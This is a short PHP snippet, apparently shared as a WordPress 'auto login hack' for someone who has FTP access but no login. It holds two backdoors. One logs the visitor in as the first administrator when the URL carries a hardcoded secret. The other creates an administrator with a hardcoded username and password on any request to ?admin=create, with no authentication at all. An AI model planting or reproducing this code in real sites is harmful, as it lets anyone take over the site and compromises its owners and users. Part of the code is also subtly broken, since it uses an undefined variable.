WordPress auto login hack used when you have FTP access but no WordPress login, chooses the first admin and logs you in as that when you add ?admin=login to the URL. DONT FORGET TO REMOVE THIS WHEN YOUR DONE!

wordpress.auto-login.partial.php

/**
  * Script to enabled temporary access to first admin account auto login
  */
function auto_login() {
	if ($_GET['admin']=='login') {
		$user_query = new WP_User_Query( array( 'role' => 'Administrator' ) );
		$user_id = $user_query->results[0]->ID;
		wp_set_current_user($user_id, $user_login);
		wp_set_auth_cookie($user_id);
		do_action('wp_login', $user_login);
		die('logged in');
	}
}
if(!empty($_GET['secret']) && $_GET['secret'] == '6o42Ha2KKwjEh!A6'){
  add_action('init', 'auto_login');
}

/**
  * Script to enabled temporary admin user to be created
  */
function add_admin_acct(){
    $login = 'TempWordPressLogin';
    $passw = 'N8*2lMqKYjDQ%8Sj';
    $email = 'PLEASESETUPYOUREMAIL@localhost.dev';
  
    if ( ! username_exists( $login )  && ! email_exists( $email ) ) {
        $user_id = wp_create_user( $login, $passw, $email );
        $user = new WP_User( $user_id );
        $user->set_role( 'administrator' );
    }
}
if ($_GET['admin']=='create') {
    add_action( 'init', 'add_admin_acct' );
}